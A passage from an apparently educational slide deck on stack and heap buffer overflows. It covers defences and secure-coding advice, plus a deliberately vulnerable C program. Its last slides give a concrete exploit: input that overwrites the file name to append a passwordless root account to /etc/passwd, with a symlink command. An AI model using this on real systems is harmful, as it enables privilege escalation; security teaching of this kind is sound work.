    53. 53. What does the program stack look like? <ul><li>0xBFFFFD8E points at our “shellcode” environment variable value (the code to spawn a shell). </li></ul>stuff more stuff Return Address Saved Frame Pointer 8E FD FF BF 8E FD FF BF 8E FD FF BF 8E FD FF BF 8E FD FF BF
    54. 54. Is this a problem in OSS? <ul><li>CVE-1999-0042: Buffer overflow in University of Washington’s implementation of IMAP and POP servers </li></ul><ul><li>CVE-2000-0389–CVE-2000-0392: Various buffer overflows in Kerberos </li></ul><ul><li>BugTraq ID 16141: Linux kernel sysctl_string local buffer overflow vulnerability </li></ul><ul><li>BugTraq ID 16142: Linux kernel DVB driver local buffer overflow vulnerability </li></ul>
    55. 55. Methods of stopping stack buffer overflows <ul><li>Red Hat’s exec shield starts the bottom of the stack at a random location for each new task </li></ul><ul><ul><li>Pro: Difficult to determine the address of shellcode </li></ul></ul><ul><ul><li>Con: Mainline kernel doesn’t include exec shield </li></ul></ul><ul><li>Non-executable stack </li></ul><ul><ul><li>Pro: Stops most common exploits </li></ul></ul><ul><ul><li>Con: Execute library functions or shellcode loaded elsewhere </li></ul></ul>
    56. 56. Be a better software engineer! <ul><li>Understand how and when buffers can be overflowed </li></ul><ul><li>Use code-reviews to look for unprotected copies of attacker-provided input into buffers </li></ul><ul><ul><li>Replace dangerous string handling functions </li></ul></ul><ul><li>Sanitize input! NEVER trust user input! </li></ul><ul><li>Use analysis tools </li></ul><ul><ul><li>Coverity, PREfast, Klocwork </li></ul></ul>
    57. 57. What did we cover? <ul><li>What are buffer overflows? </li></ul><ul><li>What is the problem? </li></ul><ul><li>What is shellcode? </li></ul><ul><li>How are functions called? </li></ul><ul><li>How is a stack buffer overflow exploited? </li></ul><ul><li>Which programming methods should I follow? </li></ul>
    58. 58. For more information <ul><li>Gray Hat Hacking , Harris, et al., 2005 </li></ul><ul><li>Hacking, The Art of Exploitation , Erickson, 2003 </li></ul><ul><li>The Shellcoder’s Handbook , Koziol, et al., 2004 </li></ul><ul><li>Secure Coding in C and C++, Seacord, 2006 </li></ul><ul><li>19 Deadly Sins of Software Security , Howard, et al., 2005 </li></ul>
    59. 59. Questions? Feedback?
    60. 60. Part 2: Overflows in the Heap <ul><li>Currently a work in progress </li></ul>
    61. 61. Heap overflows <ul><li>Different attack method </li></ul><ul><ul><li>Much harder to find! </li></ul></ul><ul><ul><li>Goal is still to control a privileged program </li></ul></ul><ul><ul><li>These exploits happen in the heap and bss memory segments </li></ul></ul><ul><ul><li>Depend on important variables being stored in the heap/bss segment </li></ul></ul><ul><ul><ul><li>Adjacent variables (e.g., file names) </li></ul></ul></ul><ul><ul><ul><li>Permissions or authentication values </li></ul></ul></ul><ul><ul><ul><li>Function pointers </li></ul></ul></ul><ul><ul><li>Key: Never trust user input! </li></ul></ul>
    62. 62. Heap overflow program #1 Adjacent variable corruption <ul><li>#include <stdio.h> </li></ul><ul><li>#include <stdlib.h> </li></ul><ul><li>int main(int argc, char *argv[]) { </li></ul><ul><li>FILE *fd; </li></ul><ul><li>char *userinput = malloc(20); </li></ul><ul><li>char *outputfile = malloc(20); </li></ul><ul><li>if (argc < 2) { </li></ul><ul><li>printf(“Usage: %s <string to be written to /tmp/notes> ”, </li></ul><ul><li>argv[0]); </li></ul><ul><li>exit(0); </li></ul><ul><li>} </li></ul><ul><li>strcpy(outputfile, “/tmp/notes”); </li></ul><ul><li>strcpy(userinput, argv[1]); </li></ul><ul><li>fd = fopen(outputfile, “a”); </li></ul><ul><li>if (fd == NULL) { </li></ul><ul><li>fprintf(stderr, “error opening %s ”, outputfile); </li></ul><ul><li>exit(1); </li></ul><ul><li>} </li></ul><ul><li>fprintf(fd, “%s ”, userinput); </li></ul><ul><li>fclose(fd); </li></ul><ul><li>return 0; </li></ul><ul><li>} </li></ul>
    63. 63. Heap overflow program #1 Adjacent variable corruption <ul><li>Important things to note: </li></ul><ul><ul><li>Order of the variable definitions and malloc s </li></ul></ul><ul><ul><ul><li>The heap grows to high memory </li></ul></ul></ul><ul><ul><li>Use of unbounded strcpy </li></ul></ul><ul><ul><li>The order of the strcpy s </li></ul></ul><ul><li>In other words, many things have to be in place, however: </li></ul><ul><ul><li>Never trust user provided input! </li></ul></ul>
    64. 64. Heap overflow exploit Adjacent variable corruption <ul><li>Let’s overwrite the output file name </li></ul><ul><ul><li>Instead of /tmp/notes, /etc/passwd! </li></ul></ul><ul><ul><li>20 bytes malloc ed, but 24 bytes between variables </li></ul></ul><ul><ul><ul><li>Overflow the userinput variable 24 bytes and then into the outputfile variable </li></ul></ul></ul><ul><ul><ul><li>userinput comes from command line ( argv[1] ) </li></ul></ul></ul><ul><ul><li>Never trust user provided input! </li></ul></ul>
    65. 65. Heap overflow exploit Adjacent variable corruption <ul><li>Since this program writes a string to a file, let’s write a string to /etc/passwd </li></ul><ul><li>Can we overflow into outputfile the string “/etc/passwd”? </li></ul><ul><ul><li>“ myroot::0:0:m:/root:/tmp/etc/passwd” </li></ul></ul><ul><ul><ul><li>“ myroot::0:0:m:/root:/tmp”—24 bytes </li></ul></ul></ul><ul><ul><ul><li>“ /etc/passwd” overflows into the outputfile </li></ul></ul></ul><ul><ul><ul><ul><li>myroot::0:0:m:/root:/tmp /etc/passwd </li></ul></ul></ul></ul><ul><ul><ul><ul><li>000000000111111111122222 22222333333 </li></ul></ul></ul></ul><ul><ul><ul><ul><li>123456789012345678901234 56789012345 </li></ul></ul></ul></ul><ul><ul><ul><li>How do we make “/tmp/etc/passwd” a shell? </li></ul></ul></ul><ul><ul><ul><ul><li>mkdir /tmp/etc; ln –s /bin/sh /tmp/etc/passwd </li></ul></ul></ul></ul>
    1. A particular slide catching your eye?

      Clipping is a handy way to collect important slides you want to go back to later.

    ×